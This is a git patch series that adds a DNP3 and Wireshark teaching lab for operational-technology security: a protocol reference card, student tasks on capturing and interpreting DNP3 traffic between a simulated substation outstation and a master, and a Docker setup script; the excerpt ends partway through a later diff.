From fe7cd7b769140796f8ac597d484ca989cd3ffca9 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Sat, 23 May 2026 18:45:52 +0100 Subject: [PATCH 01/11] =?UTF-8?q?Adi=C3=A7=C3=A3o=20da=20pasta=20OTLab14:?= =?UTF-8?q?=20scripts=20e=20tasks?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- OTLab14/DNP3WiresharkReference.md | 162 ++++++++++++ OTLab14/OTLab14.md | 81 ++++++ OTLab14/OTLab14.sh | 422 ++++++++++++++++++++++++++++++ 3 files changed, 665 insertions(+) create mode 100644 OTLab14/DNP3WiresharkReference.md create mode 100644 OTLab14/OTLab14.md create mode 100755 OTLab14/OTLab14.sh diff --git a/OTLab14/DNP3WiresharkReference.md b/OTLab14/DNP3WiresharkReference.md new file mode 100644 index 0000000..726bdc1 --- /dev/null +++ b/OTLab14/DNP3WiresharkReference.md @@ -0,0 +1,162 @@ +# DNP3 — Wireshark Reference + +Reference card for analysing DNP3 traffic with Wireshark. Use this alongside `DNP3Lab.md` when you need to look up a dissector field, a function code, or the layout of a DNP3 frame. This document **describes the protocol generically** — it does not state which addresses, function codes or object groups appear in your specific capture; that is for you to observe. + +--- + +## 🧩 Frame layout overview + +A DNP3 PDU travels inside a single TCP segment (default port `20000/tcp`). The dissector breaks it into three layers: + +``` ++---------------------------------+ +| Application Layer (function + | +| objects = the actual data) | ++---------------------------------+ +| Transport Layer (1-byte control | +| for fragmentation/sequencing) | ++---------------------------------+ +| Data Link Layer (start bytes, | +| addresses, length, CRC) | ++---------------------------------+ +``` + +Read top-down when you want to understand *intent* (start with Application). Read bottom-up when you want to understand *delivery* (start with Data Link). + +--- + +## 🔌 Getting Wireshark to dissect DNP3 + +If a packet shows only as **TCP** with payload bytes starting in `05 64`, the dissector did not engage. Force it: + +> **Right-click on the packet → Decode As… → set "TCP port" to `20000` and "Current" to `DNP 3.0`** + +After this, the *Protocol* column displays **DNP 3.0** and the Packet Details pane gains the three layers above. + +--- + +## 🛰️ Data Link Layer — fixed 10-byte header + +| Offset | Field | Size | Notes | +|-------:|----------------|-----:|-----------------------------------------------------------------------| +| 0–1 | Start bytes | 2 B | Always `0x05 0x64`. Marks the beginning of every DNP3 frame on the wire. | +| 2 | Length | 1 B | Octets in the rest of the frame, **excluding** CRCs. Max 255. | +| 3 | Control | 1 B | DIR / PRM / FCB / FCV bits + a 4-bit data-link function code. | +| 4–5 | Destination | 2 B | Logical address of the receiver (little-endian). | +| 6–7 | Source | 2 B | Logical address of the sender (little-endian). | +| 8–9 | CRC | 2 B | 16-bit CRC computed over the previous 8 bytes (link-level only). | + +After this header, the payload is split into 16-byte blocks each followed by its own 2-byte CRC. + +> [!NOTE] +> The data-link **addresses are not IP addresses** — they are short numeric IDs that identify the master and the outstation at the DNP3 application level. Two devices can share the same IP and still be distinguished by these addresses, and the same address can roam to a different IP without changing identity. The CRCs here protect against transmission errors only; they are **not** cryptographic. + +--- + +## 📨 Application Layer — function + objects + +Every Application PDU contains: + +1. An **Application Control** byte (FIR/FIN/CON/UNS bits + a 4-bit sequence number). +2. A **Function Code** (1 byte) — what the sender wants to do. +3. For responses, an **IIN** (Internal Indications) field — 2 bytes of status flags about the outstation. +4. Zero or more **Object headers**, each followed by their data. + +Each Object header carries: + +| Field | Meaning | +|-----------------|-------------------------------------------------------------------------| +| Group | The class of point (binary input, analog input, counter, etc.). | +| Variation | How that point is encoded (with/without flags, 16-bit vs 32-bit, float, …). | +| Qualifier | How the indices that follow are expressed (range, count, prefixed, …). | +| Range / Count | Which indices the data block covers. | +| Data | The actual point values (interpretation depends on Group + Variation). | + +--- + +## 📋 Function code table (commonly seen) + +Master → outstation **requests**: + +| Code (dec / hex) | Name | Effect | +|-----------------:|-------------------|---------------------------------------------------------------| +| 0 / `0x00` | CONFIRM | Acknowledges a fragment. Carries no objects. | +| 1 / `0x01` | READ | Asks the outstation to return point values. | +| 2 / `0x02` | WRITE | Writes a value (e.g. into the time object, IIN bits). | +| 3 / `0x03` | SELECT | Selects a control point for a subsequent OPERATE. | +| 4 / `0x04` | OPERATE | Operates a previously selected point (Select-Before-Operate). | +| 5 / `0x05` | DIRECT_OPERATE | Operates a control point in one shot (no Select). | +| 6 / `0x06` | DIRECT_OPERATE_NR | Same as `0x05` but no response expected. | +| 13 / `0x0D` | COLD_RESTART | Forces a full outstation restart. | +| 14 / `0x0E` | WARM_RESTART | Forces a partial outstation restart. | +| 23 / `0x17` | DELAY_MEASURE | Used in time synchronisation. | + +Outstation → master **responses**: + +| Code (dec / hex) | Name | Effect | +|-----------------:|-----------------------|-------------------------------------------------------| +| 129 / `0x81` | RESPONSE | Reply to a master's READ (or other) request. | +| 130 / `0x82` | UNSOLICITED_RESPONSE | Spontaneous report from the outstation, not solicited.| +| 131 / `0x83` | AUTHENTICATE_RESPONSE | Reply within DNP3 Secure Authentication exchanges. | + +> [!NOTE] +> Wireshark prints the symbolic name in parentheses after the hex byte (e.g. `Function Code: READ (0x01)`). You don't need to memorise numbers — but knowing the families (request 0–127, response 128–255) helps you read filters. + +--- + +## 🗂️ Object groups likely to appear in basic telemetry + +(For the full DNP3 object library see the protocol specification — this is a small useful subset.) + +| Group | Class | What it carries | +|------:|---------------|--------------------------------------------------| +| 1 | Binary Input | On/off status points (e.g. breaker open/closed). | +| 2 | Binary Input Event | Time-tagged changes of Binary Input points. | +| 10 | Binary Output | Output coil status. | +| 12 | Binary Command| Control commands for binary outputs. | +| 30 | Analog Input | Measured analog values (voltage, current, …). | +| 32 | Analog Input Event | Time-tagged changes of Analog Input points. | +| 41 | Analog Output | Output analog command points. | +| 50 | Time and Date | Used for time sync. | + +A *variation* selects the encoding: e.g. Group 30 var 1 = 32-bit int with flags, var 2 = 16-bit int with flags, var 5 = 32-bit float, var 6 = 64-bit float. Wireshark shows the variation as part of the object header. + +--- + +## 🔍 Wireshark display filters (cheat sheet) + +| Goal | Filter | +|-------------------------------------------------|-------------------------------------------------------| +| Only DNP3 frames | `dnp3` | +| Only DNP3 to/from a specific TCP endpoint | `dnp3 && tcp.port == 20000` | +| Only frames sourced from one IP | `dnp3 && ip.src == ` | +| Only requests with a given function code | `dnp3.al.func == ` (e.g. `dnp3.al.func == 1`) | +| Filter on the data-link source address | `dnp3.src == ` | +| Filter on the data-link destination address | `dnp3.dst == ` | +| Show only frames carrying objects of a group | `dnp3.al.obj == ` * | + +\* Wireshark expresses Group/Variation as a single integer (Group × 256 + Variation). When in doubt, click the field in Packet Details — Wireshark shows the exact filter expression at the bottom of the window. + +--- + +## 🧭 Useful Wireshark navigation + +| What you want | How | +|----------------------------------------------------------|------------------------------------------------------------------| +| Inspect raw bytes of a frame | Bottom pane (**Packet Bytes**). Click a field to highlight bytes. | +| See the symbolic name of any DNP3 field | Click the field in **Packet Details**; the filter expression appears at the bottom-left status bar. | +| Measure time between filtered packets | **View → Time Display Format → Seconds Since Previous Displayed Packet**. | +| Visualise periodicity | **Statistics → I/O Graph**, with your filter and a 1 s interval. | +| Follow a TCP conversation as bytes | Right-click a packet → **Follow → TCP Stream**. | +| Export a single PDU as bytes | Right-click in Packet Bytes → **Copy → … as Hex Stream**. | + +--- + +## 🔖 Acronyms + +- **PDU**: Protocol Data Unit — one self-contained message at a given protocol layer. +- **APDU / ALPDU**: Application-layer PDU. +- **CRC**: Cyclic Redundancy Check — error-detection code (not cryptographic). +- **IIN**: Internal Indications — outstation status flags carried in responses. +- **SBO**: Select-Before-Operate — two-step control sequence (`SELECT` then `OPERATE`). +- **DIR / PRM / FCB / FCV**: Direction, Primary, Frame Count Bit, Frame Count Valid — control bits in the data-link header. diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md new file mode 100644 index 0000000..4f79825 --- /dev/null +++ b/OTLab14/OTLab14.md @@ -0,0 +1,81 @@ +# DNP3 & Wireshark Lab + +## Scenario + +A small electric utility runs a remote substation that publishes telemetry over **DNP3** to a control center located in the corporate network. You — the student — sit at the **engineering workstation (EWS/otlab-student)**, which is dual-homed between the (`OT segment`) and the (`corporate`) segment and forwards traffic between them. + +Your job in this lab is to **understand how DNP3 carries the conversation** between the master and the outstation: where each host sits, what the protocol exchanges look like on the wire, which data points are being polled, and what the protocol does *not* do (spoiler: confidentiality and authentication). + +This is the first lab in a three-part story. Lab 2 will introduce anomalous traffic on the same topology, which you will detect with Zeek. Lab 3 will walk through the incident-response steps triggered by what Lab 2 surfaces. Each lab can be taken by itself, but we highly recommend completing them in order to gain a broader, more holistic understanding of how these topics connect. + +> [!NOTE] +> While analysing the captured traffic, refer to `DNP3WiresharkReference.md` for the Wireshark dissector field names, the DNP3 frame layout, the function code table, and useful display filters. It is meant as a lookup card — keep it open in another tab. + +## 📝 Tasks + +> [!WARNING] +> All tasks are conducted inside the lab containers. **Do not point any DNP3 client, scanner, or capture at hosts outside this lab** — DNP3 devices in production are fragile and unauthenticated probes can disrupt real industrial processes. + +- [ ] Verify the IP addresses and interfaces of the `otlab-student` workstation, and confirm that it has one foot in each subnet. +Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} + +- [ ] Using nmap identify the relevant hosts by scaning the subnets that you have access. Try to figure out what is the OT segment and IT segment. Hint: {xxx.xxx.x0.x/xx} and {xxx.xxx.x1.x/xx} + +- [ ] Confirm that IP forwarding is enabled on the (`EWS/otlab-student`) by pinging the `outstation` and the `master` to verify both segments are reachable. + +- [ ] From the `EWS/otlab-student`, scan the outstation host using nmap and identify the number of the open TCP port serving DNP3. Hint: {xxxxx/tcp} + +- [ ] Access the otlab-student desktop using the browser at http://localhost:3000/, capture live traffic on the OT-side interface of the using Wireshark and isolate the DNP3 conversation between `master` and `outstation`. To open Wireshark you'll need to issue the command `wireshark` in the terminal emulator inside the otlab-student workstation. + +- [ ] Identify the **two DNP3 layers** visible in each frame and explain, in your own words, the role of each. + - *Hint: {xxxx xxxx layer} (with start bytes `0x05 0x64`) and {xxxxxxxxxxx layer}.* + +- [ ] In the captured exchange, locate and document: + - The **master address** and **outstation address** on the data link layer. + - The **application function code** used by the master to poll the outstation. + - The **application function code** used by the outstation to respond. + +- [ ] Decode at least one response message and **infer** which DNP3 object/index corresponds to each simulated process variable (`Voltage`, `Current`, `BreakerOpen`). DNP3 carries no labels on the wire — justify your mapping using the object type (Analog vs Binary), the magnitude of the values, and the temporal dynamics described in the note below. + + +- [ ] Measure the **polling interval** observed on the wire (from the timestamps of consecutive master→outstation requests) and confirm it matches the configured cadence stated in the note below. + - *Hint: in Wireshark, build a display filter that keeps only the master's poll requests (frames sourced from the master with the application function code you identified in the previous task), then go to* **View → Time Display Format → Seconds Since Previous Displayed Packet** *— the* **Time** *column will then show the inter-poll delta directly. As a visual cross-check,* **Statistics → I/O Graph** *with the same filter shows the periodic peaks.* + + +- [ ] Inspect the bytes of any single DNP3 application message and answer: *Is any field encrypted? Is the master authenticated? What would an attacker learn — or change — by intercepting this traffic?* + +- [ ] Briefly document your findings (one paragraph) describing the protocol behavior and the security properties (or lack thereof) you observed. **This document is the input for Lab 2.** + + +> [!NOTE] +> The outstation simulates a feeder breaker: it publishes a voltage reading in the 110–130 V range and a current reading in the 0.5–15 A range every 5 seconds, and toggles a `BreakerOpen` flag every 20 updates (≈100 s). The master polls every 10 seconds. Knowing the *expected* baseline of this lab — including the value ranges — is what will let you map the DNP3 indices to the right variables and spot anomalies in Lab 2. + +## 🔖 Nomenclature + +- DNP3: Distributed Network Protocol version 3 — SCADA protocol widely used in electric, water, and oil & gas utilities. +- EWS: Engineering workstation — the host operated by control engineers to configure, program, and monitor field devices. +- ICS: Industrial control system. +- IP: Internet protocol. +- MAC: Media access control. +- OT: Operational technology. +- PLC: Programmable logic controller. +- RTU: Remote terminal unit — the field device role typically played by a DNP3 outstation. +- SCADA: Supervisory control and data acquisition. +- TCP: Transmission control protocol. + +## 🛠️ Usage + +``` +Usage: ./DNP3Lab.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status + + -start Start the DNP3Lab environment using the specified distro (default: ubuntu) + Valid options: kali (rolling) or ubuntu (22.04) + -run Open a terminal inside the otlab-student container + -clean Remove containers, volumes, and network + -stop Stop all containers + -restart Restart previously stopped containers + -status Show current containers status +``` + +> [!NOTE] +> When run on **WSL2**, the script auto-detects the environment and applies the kernel-level rules (`bridge-nf-call-iptables=0` and two `DOCKER-USER` ACCEPT rules) needed for traffic to be routed across the two Docker bridges. These rules require `sudo` and are reverted on `-clean`. On native Linux and macOS Docker Desktop the rules are skipped — Docker's defaults already allow the cross-bridge forwarding. diff --git a/OTLab14/OTLab14.sh b/OTLab14/OTLab14.sh new file mode 100755 index 0000000..15355e0 --- /dev/null +++ b/OTLab14/OTLab14.sh @@ -0,0 +1,422 @@ +#!/bin/bash + +lab_name="DNP3&WiresharkLab" +compose_file="${lab_name}.yml" + +ot_container_name01="dnp3-outstation" +ot_container_name02="dnp3-master" +ews_container_name="otlab-student" + +# DNP3 outstation/master stay CLI — no GUI needed there +ubuntu_image="ubuntu:22.04" +kali_image="kalilinux/kali-rolling" + +# Student container is now a full desktop with noVNC web access. +# linuxserver/webtop ships an Ubuntu+XFCE desktop reachable at http://:3000 +# linuxserver/kali-linux ships a Kali rolling desktop reachable the same way +ews_ubuntu_image="lscr.io/linuxserver/webtop:ubuntu-xfce" +ews_kali_image="lscr.io/linuxserver/kali-linux:latest" + +# Tools installed on first boot inside the student desktop +ews_install_packages="iputils-ping|nmap|net-tools|tcpdump|tshark|wireshark|iproute2|procps|iptables|sudo" + +# Host port for the noVNC web UI (container always exposes 3000 internally) +ews_web_port="3000" + +lab_net01="dnp3-ot-net" +lab_net02="dnp3-corp-net" + +# ---------------------------------------- +# Function to display the banner +show_banner() { + printf "\033[1;33m" # Yellow and bold + echo " _____ _____ __ _ " + echo "| |_ _| | ___| |_ " + echo "| | | | | | |__| .'| . |" + echo "|_____| |_| |_____|__,|___|" + printf "\033[1;37m" # White and bold + printf "Exercise: DNP3 Protocol Emulation and Traffic Analysis with Wireshark\n" + printf "Version: 0.3\n" + printf "Author: rafaelfarias\n" + printf "\033[0m" # Reset all styles + echo "" +} + +# ---------------------------------------- +# Function to generate Docker Compose file +generate_compose_file() { + local ews_image="$1" + + cat > "$compose_file" < + bash -c ' + apt update && + apt install -y python3 python3-pip iproute2 && + pip install dnp3-python && + ip route add 192.168.21.0/24 via 192.168.20.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.outstation import MyOutStation" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"import random" \ +"" \ +"print(\"[OUTSTATION] Initializing DNP3 outstation on port 20000...\")" \ +"outstation = MyOutStation(" \ +" outstation_ip=\"0.0.0.0\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"outstation.start()" \ +"print(\"[OUTSTATION] Running. Waiting for master connections...\")" \ +"" \ +"i = 0" \ +"while True:" \ +" voltage = round(random.uniform(110.0, 130.0), 2)" \ +" current = round(random.uniform(0.5, 15.0), 2)" \ +" breaker_open = bool(i % 20 == 0)" \ +" outstation.apply_update(opendnp3.Analog(value=voltage), 0)" \ +" outstation.apply_update(opendnp3.Analog(value=current), 1)" \ +" outstation.apply_update(opendnp3.Binary(value=breaker_open), 0)" \ +" print(f\"[OUTSTATION] Update #{i}: Voltage={voltage}V, Current={current}A, BreakerOpen={breaker_open}\")" \ +" i += 1" \ +" time.sleep(5)" \ +> /outstation.py && + python3 /outstation.py' + ports: + - "20000:20000" + + $ot_container_name02: + image: $ubuntu_image + container_name: $ot_container_name02 + hostname: $ot_container_name02 + mac_address: 00:1C:06:D3:01:02 + networks: + $lab_net02: + ipv4_address: 192.168.21.20 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + command: > + bash -c ' + apt update && + apt install -y python3 python3-pip netcat-openbsd iproute2 && + pip install dnp3-python && + ip route replace default via 192.168.21.100 && + printf "%s\n" \ +"from dnp3_python.dnp3station.master import MyMaster" \ +"from pydnp3 import opendnp3" \ +"import time" \ +"" \ +"print(\"[MASTER] Initializing DNP3 master...\")" \ +"master = MyMaster(" \ +" master_ip=\"0.0.0.0\"," \ +" outstation_ip=\"192.168.20.10\"," \ +" port=20000," \ +" master_id=2," \ +" outstation_id=1" \ +")" \ +"master.start()" \ +"print(\"[MASTER] Connected to outstation at 192.168.20.10:20000\")" \ +"" \ +"while True:" \ +" try:" \ +" analog_data = master.get_db_by_group_variation(group=30, variation=6)" \ +" binary_data = master.get_db_by_group_variation(group=1, variation=2)" \ +" print(f\"[MASTER] Analog readings: {analog_data}\")" \ +" print(f\"[MASTER] Binary readings: {binary_data}\")" \ +" except Exception as e:" \ +" print(f\"[MASTER] Poll error: {e}\")" \ +" time.sleep(10)" \ +> /master.py && + echo "[MASTER] Waiting for outstation to start. . ." && + until nc -z 192.168.20.10 20000; do sleep 2; done && + echo "[MASTER] Outstation is up. Starting master. . ." && + sleep 3 && + python3 /master.py' + + $ews_container_name: + image: $ews_image + container_name: $ews_container_name + hostname: $ews_container_name + environment: + - PUID=0 + - PGID=0 + - TZ=Etc/UTC + - TITLE=OTLab Student + - DOCKER_MODS=linuxserver/mods:universal-package-install + - INSTALL_PACKAGES=$ews_install_packages + - DEBIAN_FRONTEND=noninteractive + volumes: + - otlab-student-config:/config + ports: + - "$ews_web_port:3000" + sysctls: + - net.ipv4.ip_forward=1 + networks: + $lab_net01: + ipv4_address: 192.168.20.100 + $lab_net02: + ipv4_address: 192.168.21.100 + cap_add: + - NET_ADMIN + - NET_RAW + privileged: true + shm_size: "1gb" + restart: unless-stopped + +volumes: + otlab-student-config: + +networks: + $lab_net01: + name: $lab_net01 + driver: bridge + ipam: + config: + - subnet: 192.168.20.0/24 + + $lab_net02: + name: $lab_net02 + driver: bridge + ipam: + config: + - subnet: 192.168.21.0/24 +EOF +} + +# ---------------------------------------- +# Environment detection +# Cross-bridge routing between two Docker bridges requires kernel-level tweaks +# only on WSL2, where the default sysctl/iptables policies block forwarded +# traffic. On native Linux and macOS Docker Desktop the defaults work as-is. +detect_environment() { + is_wsl=0 + is_linux=0 + is_macos=0 + + case "$(uname -s)" in + Linux*) + is_linux=1 + if grep -qiE "(microsoft|wsl)" /proc/version 2>/dev/null; then + is_wsl=1 + fi + ;; + Darwin*) + is_macos=1 + ;; + esac +} + +# ---------------------------------------- +# Apply cross-bridge forwarding rules (WSL only) +apply_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + printf "\033[33m[Warning]\033[0m WSL detected but 'sudo' or 'iptables' missing.\n" + printf "\033[33m[Warning]\033[0m Cross-bridge traffic between OT and corp networks may not work.\n" + return 0 + fi + + printf "\033[1;33m[Working]\033[0m WSL detected — applying cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=0 >/dev/null 2>&1 + sudo iptables -I DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -I DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +# ---------------------------------------- +# Revert cross-bridge forwarding rules (WSL only) +revert_cross_bridge_rules() { + if [ "$is_wsl" -ne 1 ]; then + return 0 + fi + + if ! command -v sudo >/dev/null 2>&1 || ! command -v iptables >/dev/null 2>&1; then + return 0 + fi + + printf "\033[1;33m[Working]\033[0m Reverting cross-bridge routing rules (sudo required). . .\n" + sudo sysctl -w net.bridge.bridge-nf-call-iptables=1 >/dev/null 2>&1 + sudo iptables -D DOCKER-USER -s 192.168.20.0/24 -d 192.168.21.0/24 -j ACCEPT 2>/dev/null + sudo iptables -D DOCKER-USER -s 192.168.21.0/24 -d 192.168.20.0/24 -j ACCEPT 2>/dev/null +} + +# ---------------------------------------- +# System requirements check +check_requirements() { + error_flag=0 + + if ! command -v docker >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is not installed on this system.\n" + error_flag=1 + elif ! docker info >/dev/null 2>&1; then + printf "\033[31m[Error]\033[0m Docker is installed, but not accessible.\n" + error_flag=1 + fi + + if command -v docker-compose >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker-compose" + elif docker compose version >/dev/null 2>&1; then + DOCKER_COMPOSE_CMD="docker compose" + else + printf "\033[31m[Error]\033[0m Docker Compose is not installed.\n" + error_flag=1 + fi + + if [ "$error_flag" -eq 1 ]; then + printf "\033[31m✘ The $lab_name system requirements check failed.\033[0m\n" + exit 1 + fi +} + +# ---------------------------------------- +# Print noVNC access info after start +print_access_info() { + printf "\n\033[1;36m[Info]\033[0m Student desktop (noVNC) available at:\n" + printf " \033[1;37mhttp://localhost:%s/\033[0m\n" "$ews_web_port" + printf "\033[1;36m[Info]\033[0m First boot installs lab tools (wireshark, nmap, ...).\n" + printf " This may take 1–3 minutes — refresh the page if it is not ready.\n" + printf "\033[1;36m[Info]\033[0m For a CLI shell inside the student container, run: %s -run\n\n" "$0" +} + +# ---------------------------------------- +# Function to check if a container exists +container_exists() { + docker ps -a --format '{{.Names}}' | grep -q "$1" +} + +# ---------------------------------------- +# Command handling +case "$1" in + -start) + show_banner + distro="${2:-ubuntu}" + + if [[ "$distro" == "kali" ]]; then + selected_image="$ews_kali_image" + elif [[ "$distro" == "ubuntu" ]]; then + selected_image="$ews_ubuntu_image" + else + printf "\033[31m[Error]\033[0m Invalid distro. Please use 'kali' or 'ubuntu'.\n" + exit 1 + fi + + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Starting $lab_name. . .\n" + generate_compose_file "$selected_image" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + apply_cross_bridge_rules + printf "\033[32m✔ $lab_name started.\033[0m\n" + print_access_info + else + printf "\033[31m✘ $lab_name failed to start.\033[0m\n" + exit 1 + fi + ;; + -stop) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Stopping $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" stop + printf "\033[32m✔ $lab_name stopped.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers to stop.\n" + exit 1 + fi + ;; + -clean) + show_banner + if container_exists "$ot_container_name01" || container_exists "$ot_container_name02" || container_exists "$ews_container_name"; then + check_requirements + detect_environment + printf "\033[1;33m[Working]\033[0m Cleaning up all $lab_name resources. . .\n" + revert_cross_bridge_rules + $DOCKER_COMPOSE_CMD -f "$compose_file" down -v + docker network rm "$lab_net01" "$lab_net02" 2>/dev/null + rm -f "$compose_file" + printf "\033[32m✔ All $lab_name resources removed.\033[0m\n" + else + printf "\033[34m[Information]\033[0m No containers found to clean.\n" + exit 1 + fi + ;; + -run) + show_banner + if container_exists "$ews_container_name"; then + check_requirements + printf "\033[1;33m[Working]\033[0m Accessing $ews_container_name terminal. . .\n" + docker exec -it "$ews_container_name" bash + else + printf "\033[31m[Error]\033[0m Container $ews_container_name not found.\n" + exit 1 + fi + ;; + -web) + show_banner + if container_exists "$ews_container_name"; then + print_access_info + else + printf "\033[31m[Error]\033[0m Container $ews_container_name not found.\n" + exit 1 + fi + ;; + -restart) + show_banner + check_requirements + if [ ! -f "$compose_file" ]; then + printf "\033[31m[Error]\033[0m Cannot restart: $compose_file not found.\n" + exit 1 + fi + + printf "\033[1;33m[Working]\033[0m Restarting $lab_name. . .\n" + $DOCKER_COMPOSE_CMD -f "$compose_file" up -d + if [ $? -eq 0 ]; then + printf "\033[32m✔ $lab_name restarted.\033[0m\n" + print_access_info + else + printf "\033[31m✘ $lab_name failed to restart.\033[0m\n" + exit 1 + fi + ;; + -status) + show_banner + check_requirements + $DOCKER_COMPOSE_CMD -f "$compose_file" ps + ;; + *) + show_banner + echo "Usage: $0 -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status" + echo "" + echo " -start Start the $lab_name environment using the specified distro (default: ubuntu)" + echo " ubuntu -> $ews_ubuntu_image" + echo " kali -> $ews_kali_image" + echo " Student desktop is available at http://localhost:$ews_web_port/" + echo " -run Open a CLI terminal inside the $ews_container_name container" + echo " -web Print the noVNC URL to access the student desktop" + echo " -clean Remove containers, volumes, and network" + echo " -stop Stop all containers" + echo " -restart Restart previously stopped containers" + echo " -status Show current containers status" + exit 1 + ;; +esac From f08de7ec06fc9e16d8aa66d208a0141299180816 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Sat, 23 May 2026 19:03:44 +0100 Subject: [PATCH 02/11] OTLab14: add -web option to usage section --- OTLab14/OTLab14.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index 4f79825..732d1d1 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -66,11 +66,12 @@ Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} ## 🛠️ Usage ``` -Usage: ./DNP3Lab.sh -start [kali|ubuntu] | -stop | -clean | -run | -restart | -status +Usage: ./DNP3Lab.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status -start Start the DNP3Lab environment using the specified distro (default: ubuntu) Valid options: kali (rolling) or ubuntu (22.04) -run Open a terminal inside the otlab-student container + -web Print the noVNC URL to access the student desktop -clean Remove containers, volumes, and network -stop Stop all containers -restart Restart previously stopped containers From 4b3fc45745a64380600ed99a62f4ab110486a0f2 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Sat, 23 May 2026 22:22:29 +0100 Subject: [PATCH 03/11] Update OTLab14 script and tasks --- OTLab14/OTLab14.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index 732d1d1..a395020 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -66,7 +66,7 @@ Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} ## 🛠️ Usage ``` -Usage: ./DNP3Lab.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status +Usage: ./OTLab14.sh -start [kali|ubuntu] | -stop | -clean | -run | -web | -restart | -status -start Start the DNP3Lab environment using the specified distro (default: ubuntu) Valid options: kali (rolling) or ubuntu (22.04) From 49e4e11e532f97aafb9a915ce119c38a62dec5c4 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Sat, 23 May 2026 22:37:01 +0100 Subject: [PATCH 04/11] Update OTLab14 script and tasks --- OTLab14/OTLab14.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/OTLab14/OTLab14.md b/OTLab14/OTLab14.md index a395020..ebcd8c3 100644 --- a/OTLab14/OTLab14.md +++ b/OTLab14/OTLab14.md @@ -25,7 +25,7 @@ Hint: {xxx.xxx.x0.xxx} and {xxx.xxx.x1.xxx} - [ ] From the `EWS/otlab-student`, scan the outstation host using nmap and identify the number of the open TCP port serving DNP3. Hint: {xxxxx/tcp} -- [ ] Access the otlab-student desktop using the browser at http://localhost:3000/, capture live traffic on the OT-side interface of the using Wireshark and isolate the DNP3 conversation between `master` and `outstation`. To open Wireshark you'll need to issue the command `wireshark` in the terminal emulator inside the otlab-student workstation. +- [ ] Access the otlab-student desktop using the browser at http://localhost:3000/, capture live traffic in its OT-side interface using Wireshark and isolate the DNP3 conversation between `master` and `outstation`. To open Wireshark you'll need to issue the command `wireshark` in the terminal emulator inside the otlab-student workstation. - [ ] Identify the **two DNP3 layers** visible in each frame and explain, in your own words, the role of each. - *Hint: {xxxx xxxx layer} (with start bytes `0x05 0x64`) and {xxxxxxxxxxx layer}.* From 24d88726dcb67fed10b3ed1dd4e9e9625b368497 Mon Sep 17 00:00:00 2001 From: fariasrafael10 Date: Fri, 5 Jun 2026 17:39:55 +0100 Subject: [PATCH 05/11] OTLab14: add attribution badges and ATT&CK for ICS skills section Header: keep original author badges and add GitHub/LinkedIn/IPL ESTG-DEI. New Skills section maps lab tasks to MITRE ATT&CK for ICS (T0846, T0840, T0842, T0861). Minor updates to OTLab14.sh and DNP3WiresharkReference.md. Ignore *.bak via .gitignore. Co-Authored-By: Claude Opus 4.8 --- .gitignore | 1 + OTLab14/DNP3WiresharkReference.md | 50 +++++++++++++++---------------- OTLab14/OTLab14.md | 31 +++++++++++++++++-- OTLab14/OTLab14.sh | 6 ---- 4 files changed, 54 insertions(+), 34 deletions(-) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..751553b --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +*.bak diff --git a/OTLab14/DNP3WiresharkReference.md b/OTLab14/DNP3WiresharkReference.md index 726bdc1..23e9f40 100644 --- a/OTLab14/DNP3WiresharkReference.md +++ b/OTLab14/DNP3WiresharkReference.md @@ -64,13 +64,13 @@ Every Application PDU contains: Each Object header carries: -| Field | Meaning | -|-----------------|-------------------------------------------------------------------------| -| Group | The class of point (binary input, analog input, counter, etc.). | +| Field | Meaning | +|-----------------|-----------------------------------------------------------------------------| +| Group | The class of point (binary input, analog input, counter, etc.). | | Variation | How that point is encoded (with/without flags, 16-bit vs 32-bit, float, …). | -| Qualifier | How the indices that follow are expressed (range, count, prefixed, …). | -| Range / Count | Which indices the data block covers. | -| Data | The actual point values (interpretation depends on Group + Variation). | +| Qualifier | How the indices that follow are expressed (range, count, prefixed, …). | +| Range / Count | Which indices the data block covers. | +| Data | The actual point values (interpretation depends on Group + Variation). | --- @@ -108,16 +108,16 @@ Outstation → master **responses**: (For the full DNP3 object library see the protocol specification — this is a small useful subset.) -| Group | 